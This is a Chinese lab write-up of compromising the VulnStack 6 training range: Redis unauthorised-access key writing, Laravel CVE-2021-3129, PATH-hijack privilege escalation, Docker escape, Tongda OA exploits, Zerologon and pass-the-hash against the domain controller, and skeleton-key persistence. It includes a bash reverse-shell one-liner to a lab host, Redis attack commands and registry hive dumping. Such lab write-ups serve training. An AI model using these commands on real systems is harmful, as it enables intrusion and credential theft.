VulnStack靶场6
这个是一套比较新的靶场，但是技术还是老的技术，在进行测试时要懂得举一反三，根据某个知识点进行梳理复习，就能有很大收获
0x01.环境搭建
这次的环境包括两台Linux做web机器，三台Windows搭建的域环境，笔者这里使用了自定义的网络环境：
其中第一台Web做了Nginx反向代理，但是似乎有点问题，不知道这是默认就是这样整的还是我的环境没搭好。除了Nginx之外还有有一个Redis服务：
redis-server /etc/redis.conf /usr/sbin/nginx -c /etc/nginx/nginx.conf iptables -F
环境搭建最关键的一步是网络配置，对域环境单网卡比较容易，但是对于Linux多网卡就需要自己去改动配置文件，比较复杂。
对于Web2需要启动docker容器：
sudo service docker start sudo docker start 8e172820ac78 -p 8000:80
此外对于PC1通达OA的配置需要高权限C:\MYOA\bin\AutoConfig.exe
因为PC1本地的管理员账号被禁用，所以我选择了使用域管账号登录后添加通达OA为服务，然后添加了一条防火墙规则允许通过8080，接着清除登录凭证。这样保证了PC1 getshell后无法抓到域账号密码，增加了难度
也需要自己手动启用一下。此外对于这个靶场环境我在Windows机器上还安装了杀软。
0x02.信息收集
端口发现
对入口Web1进行扫描发现开放端口22，80，81，6379
nmap 10.10.10.128 -sS -p- -sS SYN半开扫描，-p-扫描所有端口
服务发现
发现分别运行了以下服务
22端口是常规的SSH服务，暂时不考虑爆破，80端口提示502暂时放弃，81端口是Lavarel框架，6379运行的是Redis服务，那么我们就可以从81端口和6379端口下手
这里很清晰的提示出了Lavarel和php的版本信息
直接使用redis-cli连接，可以连接成功，说明此处存在Redis未授权访问漏洞
0x03.踩点破口
Web1：
GetShell
从目前掌握的信息来看，6379的利用难度要小于81，那么我们可以尝试对6379进行测试，Redis未授权通常有三个利用方法：
-
登录写authorized_keys密钥
-
计划任务反弹shell
-
在知道web的绝对路径情况下写入webshell
-
写/etc/passwd文件
我们这里进行写authorized_keys密钥，进行远程登录
ssh-keygen 生成密钥对，然后把生成的公钥上传到服务器，使用本地私钥连接：
root@kali:~/lab# redis-cli -h 10.10.10.128
10.10.10.128:6379> config set dir /root/.ssh/
OK
10.10.10.128:6379> config set dbfilename authorized_keys
OK
10.10.10.128:6379> config get dbfilename
1) "dbfilename"
2) "authorized_keys"
10.10.10.128:6379> del dbfilename
(integer) 0
10.10.10.128:6379> config set dbfilename authorized_keys
OK
10.10.10.128:6379> exit
root@kali:~/lab# cat id_rsa.pub | redis-cli -h 10.10.10.128 -x set crackit
OK
root@kali:~/lab# redis-cli -h 10.10.10.128
10.10.10.128:6379> save
OK此外如果这个方法显的繁琐，我们还可以使用fscan自动化操作：fscan -h 10.10.10.128 -rf id_rsa
至此，我们拿下了第一台机器
信息收集：
对拿下的第一台机器进行信息收集，主要收集服务器配置信息，文件信息以及网络信息：
文件配置：
可以看到/etc/nginx/nginx.conf包含了include /etc/nginx/conf.d/*.conf文件，其目录下有：80.conf，81.conf两个文件，很容易联想到两个端口的配置
文件信息：
可以看到标准的双网卡，在Linux环境下可以使用bash脚本进行ICMP扫描
网络信息：
扫描脚本
#!/bin/bash
for i in $(seq 255)
do
{
ping -c 2 -b 192.168.52.$i > /dev/null
state=$?
if [ $state -eq 0 ]; then
echo "192.168.93.$i is ok" >> ip.txt
fi
}&
done
wait
这里扫描到了三台机器
我们可以对192.168.52.20:8000进行测试
Web2:
GetShell:
我们通过漏洞情报搜集找到了可以用的EXP：
这里存在一个Phar反序列化漏洞，这里应该提前排好快照，因为这个环境打的次数多了就无法实现攻击了，在真实的环境中，应现在本地搭建好环境然后进行EXP
篇幅限制，这里不再进行详细讲解了，简单来说就是通过构建恶意的Log上序列化之后的phar文件，然后通过自带的Ignition 组件对file_get_contents()和file_put_contents()函数反序列化，最终造成远程代码执行。详情可以参考https://www.cnblogs.com/xiaoyunxiaogang/p/16913350.html
我们这里直接利用GitHub上的脚本：https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
成功getshell
执行命令ls -alh /发现根目录下存在/.dockerenv文件，且一些命令例如ifconfig无法执行，因此大概率进入了一台Docker机器
无论通过那种方式进行docker逃逸，首先都要进行root提权，所以现对机器进行权限提升
这道题中给出了提示，需要环境变量提权，那么我们搜索具有SUID权限的文件：
环境变量提权
这里的环境变量提权实战中比较少见，这里可以合理联想到DLL劫持，都是一种移花接木的技术
我们可以把 ps 木马文件复制到/tmp目录下，然后写一个反弹shell到远程主机,也就是反弹到我们可控的web1上，然后需要一个交互式shell，这样才能改变环境变量的优先级，当我们的命令解释器处理 system("ps") 时就回去环境变量列表寻找ps，执行我们的木马。因此这里要交互式环境
*反弹shell经验
在进行一些苛刻环境中，比如这里的docker，如果要直接使用
/bin/bash -i >& /dev/tcp/192.168.52.10/8080 0>&1在蚁剑环境下无法反弹，因此在不同环境下要使用不同的反弹shell，我这里选择php版本的shell：
然后使用nc监听+curl访问就可以反弹到shell:
这里省略了用msfvenom生成了木马然后上传步骤ps即为反弹shell木马
下面是详细过程：
至此，我们的到了一个交互式shell，下一步我们就要劫持环境变量，开始提权
Docker逃逸：
Docker逃逸的方式有很多种，下面是一些常用手段：
-
特权模式逃逸文件系统
-
docker.sock挂载逃逸
-
Remote API未授权访问
-
服务缺陷逃逸
-
内核级别逃逸
我们首选特权模式，因为他的利用难度较小，最直接
判断方法：
cat /proc/1/status | grep Cap
查询对应出来的值为0000003fffffffff那么就有可能是特权容器，可尝试逃逸
开始逃逸：
逃逸的原来是Docker机器有了特权，因此在底层文件系统等方面是共享的，我们可以把真实的磁盘挂载到一个目录
这里逃逸的结果和前面的 redis 相同，都是可以操作物理机器的硬盘文件，我们可以选择authorized_keys修改，也可以选择计划任务反弹shell，还可以选择一种添加后门账户的手段
这里我选择authorized_keys
*SSH连接错误解决方法
我们已经完全拿下web1，web2这两台web服务器，但是如果要连接web2，还需要在web1上搭建隧道，然后通过隧道来连接web2这里我使用iox来建立连接隧道：
配置 proxychain 链：
这里连接失败了，后来检查了好久才发现问题的原因
关于ssh登录会出现很多梗，不知道是因为我的操作失误，还是说这个靶场故意挖的坑。
遇到这种问题时，可以使用 ssh -vvv 参数查看连接过程，详情调试信息，一方面可以去查看ssh登录日志，这两个方法都会给我们许多提示信息。
通常，这些日志将存储在 /var/log/auth.log（对于Debian或Ubuntu等基于Debian的系统）或 /var/log/secure（对于CentOS、Red Hat和Fedora等基于Red Hat的系统）中
我通过查看日志文件：
-
第一行日志条目指出了一个身份验证问题：
Authentication refused: bad ownership or modes for directory /root/.ssh。这表示SSH服务器拒绝了一个身份验证请求，原因是/root/.ssh目录的所有权或权限设置存在问题。通常，SSH要求~/.ssh目录的权限非常严格，只有所有者具有读写权限，而其他用户没有访问权限，以确保私钥的安全性。 -
第二行日志条目指出连接由IP地址 "192.168.52.10" 关闭，同时还指出了 "[preauth]"，这表示在进行身份验证之前连接被关闭。这可能是由于身份验证失败而导致的。
综合来看，这个日志信息表明一个SSH连接尝试由于 /root/.ssh 目录的权限问题而被拒绝，并且连接在进行身份验证之前就被关闭了。解决这个问题需要确保 /root/.ssh 目录及其内容的权限和所有权设置正确，以便SSH身份验证可以顺利进行。不知道这个是因为笔者不小心改掉了，还是说这是靶场挖的坑，我们只需要把 目标机器的/root/.ssh该为700就可以了，进行下一步
可以看到这里提示 没有签名算法，那么我们只需要手动的添加这个签名算法：-o PubkeyAcceptedKeyTypes=+ssh-rsa 就可以连接成功了，这里由于篇幅限制，给出了参考链接，建议详细学习一下。
在我们进行真实的渗透测试过程中就是这些小的问题，有时候会给我们造成很多麻烦，我们不能忽略这些小的问题，而应该积攒经验，以备未来某一天对某站点进行测试时仍可以用到
【精选】SSH免密失败并报错：no mutual signature algorithm_ssh免密报错_IT民工金鱼哥的博客-CSDN博客
最后我们成功的拿到了Web2的权限：
0x04.内网信息收集
对于获得权限的web2，我们仍进行信息收集的过程，在这里，只有网络信息对我们有价值，但是在真实 环境下，我们应该对以下几个方向多多关注：
网络信息收集
可以看到没有什么服务，8000端口对应的是docker中的Laravel 除了docker的虚拟网卡和本地网卡还有两个ip： 192.168.52.20 192.168.93.10 又多了一个新的网段192.168.93.10/24 我们通过scp上传扫描工具fscan进行扫描：
那么在这里我们可以建立出这个网络环境的大致特征：
0x05.横向移动
PC1
我们可以继续对PC1进行测试，根据扫描结果我们可以从MS17-010和通达OA入口。MS17-010可以直接 通过445,139端口获得 Nt \System 权限，但是容易对目标机器造成宕机蓝屏伤害，所以优先级靠后，接 着我们尝试访问8080端口：
通过通达敏感文件我们可以收集到版本：
/inc/reg_trial.php 暴露版本信息
/inc/reg_trial_submit.php 暴露版本信息
/ispirit/retrievepwd.php?username=admin 会暴露用户名，可搜集邮箱
/resque/worker.php 暴露计算机名因为我这里没有对通达OA进行授权，所以不在进行演示，我们可以通过在线情报搜索出 通达OA的历史 漏洞：
【1】通达OA v2014 get_contactlist.php 敏感信息泄漏
【2】通达OA v2017 video_file.php 任意文件下载
【3】通达OA v2017 action_upload.php 任意文件上传
【4】通达OA v2017 login_code.php 任意用户登录
【5】通达OA v11 login_code.php 任意用户登录
【6】通达OA v11.5 swfupload_new.php SQL注入
【7】通达OA v11.6 report_bi.func.php SQL注入
【8】通达OA v11.8 api.ali.php 任意文件上传
【9】通达OA v11.8 gateway.php 远程文件包含RCE
【10】通达OA v11.6 print.php前台组合拳RCE
【11】通达OA v11.10 getdata 任意文件上传
这是来自Git上的一个利用工具目前列出来的EXP，这个工具是Go语言写的，可以跨平台：
https://github.com/Fu5r0dah/TongdaScan_go
因为我的Kali模式为仅主机，无法访问外网，所以使用Windows演示.这里我们不必关心太多漏洞原理， 我们直接通过exp来对目标进行getshell:
工具成功一把梭：
这里收集到了用户信息以及网络信息，还可以看到机器是在域内的，那么之前的网络拓扑图就可以把这 台机器加入到域内。这里也尝试了使用Mimikatz来抓取密码，可以并没有抓取到有价值的账号密码，只 有一个md5无法查询到的机器账户
对域攻击（CVE-2020-1472复现）
无法抓到域用户信息，就无法考虑哈希传递，这里考虑使用漏洞打法，而且根据靶场提示，我们可以尝 试使用 Windows NetLogon 域内权限提升（CVE-2020-1472）漏洞利用 这个是相关脚本：https://github.com/risksense/zerologon 这个漏洞要求和DC直接通信，因此为了使Kali直接能与DC通信，我先在Web2上搭建了一台Socks5代 理，然后在Web1上做了端口映射：
这里建议还是使用PC1进行搭建socks5代理，如果使用web2的话，会很麻烦，因为web2上面没有 nohup，tmux等程序，因此运行的代理会随着ssh结束而结束 配制好proxychains后，使用脚本检测：
漏洞存在，我们接着进行攻击域管：
其实我们这里把机器账户的密码置空后，机器账户的密码就变成了： 31d6cfe0d16ae931b73c59d7e0c089c0 ，也就是经过NTLM加密后的空密码。 但是我们这是还是可以使用 secretsdump.py来看一下域中的哈希值：
secretsdump.py是一个Python脚本，属于Impacket工具包中的一部分。Impacket是一个用于网 络协议开发和安全评估的Python库，它提供了许多功能来处理和操作网络协议。 该脚本功能有： 从本地SAM数据库提取本地账户的哈希。 通过LSA（Local Security Authority）提取本地账户的凭据。 通过NTDS.dit文件提取域账户的哈希（需要域控制器访问权限）。 通过域控制器的RPC接口提取域账户的凭据。 这里我们远程遍历哈希的原理简单来说就是模拟了Dcsync技术，通过与域控制器的 RPC 连接，并 模拟成域控制器，向目标域控制器发出数据同步请求。在数据同步过程中，脚本会获取包含域账户 密码哈希的数据。
然后使用横向移动工具（smbexec/wmiexec/psexec等）进行PTH哈希传递，注意，这里我们使用域管 理员账号administrator登录，机器用户无法进行PTH：
成功拿到域控权限，但是这一步还不算完成。在上面的攻击过程中，我们将机器的密码置为空，会导致 域控脱域，原因是机器用户在AD中的密码（存储在ntds.dic）与本地注册表里面的不一致。还原域控机 器账户的hash，只要将AD中的密码与注册表里面的密码保持一致即可。
这里由于篇幅原因，不在进行截图展示，部分截图引用博客：https://www.cnblogs.com/zw1sh/p/13849192.htm
#获取计算机账户原始hash：
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
使用reg save命令将注册表里的信息拿回本地，这里采取的方法是使用copy命令拷贝到PC1上，然后通 过哥斯拉将注册表信息保存到本地。再通过secretdump提取出里面的hash：
python3 secretsdump.py -sam sam.save -system system.save -security
security.save LOCAL
使用zerologon工具将原始计算机账户哈希还原：
查看testdc$账户的hash，已成功还原：
0x06.权限维持
对于权限维持，我们可以选择上线CS或者MSF，当然持久化的操作还是会选择CS，但是CS不支持正向 shell，整个网络环境又都是不出网，因此不一定方便。 这里的思路是在外围写入一个webshell，然后内网中使用mimikatz的skeleton模块，开启一个后门账 户，在实战中这种方式很常见，我理解的权限维持就是如和建立一个稳定的，有高权限的后门，当然后 门进程本身不一定要有高权限，这里给出了一些常见的思路：
当此之外呢，如果是在实战中，还应该进行痕迹清理
0x07.总结
总得来说，这个靶场还是综合性比较强，设计技术较多的一个靶场，这还是一个双层内网环境（虽然官 方认为这是三层，但是我认为第一层属于公网网段），需要搭建多层代理，然后就是这是一套模拟环 境，所以在测试时网络，会话等条件都比较理想，但是在实战环境中各种因素限制绝对会比靶场苛刻的 多，例如WAF，杀软，以及代理条件下的网络。
举个例子，wmiexec在高延迟网络环境下往往只能执行2~3条命令，如果间隔时间过长也会自动断开。 所以在安全行业我们应该多积攒经验，不在小问题上浪费时间，同时也应该发散学习，社工，免杀，二进制等都应该多学习多见识。
此外还应该多整理笔记，好多技术都是感觉会，感觉简单，但是长时间不使用不练习那么在用的时候就 会出现各种问题，而且我们不能忽略小问题，例如这次在连接ssh会话时，我们已经配置好了公约私钥 对，但是当我们去连接时还是会提示输入密码，这些问题都是容易忽略但是不能跳过的。
1076
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
